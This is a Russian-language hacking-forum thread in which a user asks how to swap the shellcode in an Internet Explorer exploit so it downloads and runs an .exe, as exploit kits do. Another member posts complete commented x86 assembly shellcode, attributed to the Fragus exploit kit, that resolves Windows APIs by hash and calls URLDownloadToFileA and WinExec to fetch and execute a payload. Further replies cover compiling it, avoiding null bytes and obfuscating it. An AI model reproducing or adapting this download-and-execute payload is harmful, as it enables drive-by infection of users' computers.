подскажите по шелл коду

Discussion in 'Песочница' started by geforse, 8 Jan 2011.

  1. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Не могу понять как его получить. Допустим есть эксплоит под IE6, которой содержит шелл код, мне нужно заменить его своим.
    В гугле только поверхностная информация по данной теме :(
     
  2. drim

    drim Member

    Joined:
    27 Aug 2009
    Messages:
    347
    Likes Received:
    33
    Reputations:
    4
    ясное дело, задачу ты тоже формулируешь поверхностно. Сформулируй правильно ТЗ, эксплойт покажи
     
  3. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Меня интересует общий принцип написание shell-кода для эксплоита. Тоесть есть же связки, в которых после успешного пробива эксплоитом браузера, грузится .exe. Мне интересно, как пишется шелл код для загрузки этого .exe

    К примеру вот эксплоит
    Internet Explorer 8 CSS Parser Exploit
    exploit-db.com/exploits/15746/
     
  4. Serafim

    Serafim Elder - Старейшина

    Joined:
    24 Oct 2006
    Messages:
    181
    Likes Received:
    103
    Reputations:
    18
    Вот к примеру шеллкод со связки "Fragus", изучай.
    Code:
    <ModuleEntryPoint>:
           xor eax,eax
           mov eax,dword ptr fs:[eax+030h];получает базу кернела
           js @tb3_00401014
           mov eax,dword ptr ds:[eax+0ch]
           mov esi,dword ptr ds:[eax+01ch]
           lods dword ptr ds:[esi]
           mov ebx,dword ptr ds:[eax+8]
           jmp @tb3_0040101D
    @tb3_00401014:
           mov eax,dword ptr ds:[eax+034h]
           lea eax,dword ptr ds:[eax+07ch]
           mov ebx,dword ptr ds:[eax+03ch]
    @tb3_0040101d:
           push 044h
           pop edx
           shl edx,1
           sub esp,edx
           mov ebp,esp
           jmp @tb3_00401077
    
    @tb3_00401028:;кодес получения функций по их хешам                              
           pop edx
           push edx
           sub edx,056h
           mov dword ptr ss:[ebp+4],edx
           push esi
           push edi
           mov esi,dword ptr ds:[ebx+03ch]
           mov esi,dword ptr ds:[ebx+esi+078h]
           add esi,ebx
           push esi
           mov esi,dword ptr ds:[esi+020h]
           add esi,ebx
           xor ecx,ecx
           dec ecx
    @tb3_00401044:
           push eax
           inc ecx
           lods dword ptr ds:[esi]
           xor edi,edi
    @tb3_00401049:
           movsx edx,byte ptr ss:[ebx+eax]
           cmp dl,dh
           je @tb3_0040105A
           ror edi,0dh
           add edi,edx
           inc eax
           jmp @tb3_00401049
    @tb3_0040105a:
           pop eax
           cmp edi,eax
           jnz @tb3_00401044
           pop esi
           mov eax,dword ptr ds:[esi+024h]
           add eax,ebx
           mov cx,word ptr ds:[eax+ecx*2]
           mov edx,dword ptr ds:[esi+01ch]
           add edx,ebx
           mov eax,dword ptr ds:[edx+ecx*4]
           add eax,ebx
           pop edi
           pop esi
           push eax
           ret                                  
    
    @tb3_00401077:
           lea edi,dword ptr ss:[ebp+8]
           push edi
           push edx
           mov eax,05b8aca33h; получаем и вызываем функцию GetTempPathA 
           call @tb3_00401028
           xor al,al
           mov esi,edi
           repne scas byte ptr es:[edi]
           dec edi
           mov eax,078652e65h 
           stos dword ptr es:[edi]
           cbw
           stos word ptr es:[edi];добавляем к пути темповой папки имя файла
           mov al,06ch
           mov ah,al
           cwde
           push eax
           push 0642e6e6fh
           push 06d6c7275h
           push esp
           mov eax,0ec0e4e8eh
           call dword ptr ss:[ebp+4];получаем и вызываем функцию LoadLibraryA,"urlmon.dll"
           xchg eax,ebx
           push eax
           xor eax,eax
           push eax
           push eax
           push esi
           mov edx,dword ptr ss:[ebp+4]
           add edx,07fh
           add edx,031h
           push edx
           push eax
           mov eax,0702f1a36h
           call dword ptr ss:[ebp+4];далее функция URLDownloadToFileA
           pop ebx
           xor edi,edi
           push edi
           push esi
           mov eax,0e8afe98h
           call dword ptr ss:[ebp+4]; WinExec
           push edi
           mov eax,060e0ceefh
           call dword ptr ss:[ebp+4];ExitThread
     
  5. drim

    drim Member

    Joined:
    27 Aug 2009
    Messages:
    347
    Likes Received:
    33
    Reputations:
    4
    Serafim привёл пример исходника шелкода. Далее, исходник компилируется в объектный файл под целевую систему. Получается готовый шелкод, который прописывается нагрузкой к эксплойту. Однако есть ряд ньюансов - например, шелкод не должен содержать нуль-байта, ибо это конец строки. Есть масса бесплатных программ для микса бинарного кода без потери функционала. На exploits-db есть масса готовых шелкодов.
     
  6. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    Да, забись ты ему чистый ASM дал, разберется он да.
     
    1 person likes this.
  7. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    В примере он только выполняет калькулятор,
    Посмотри на примеры, там можно найти такой какой тебе нужен, или похожий и подстроится под него.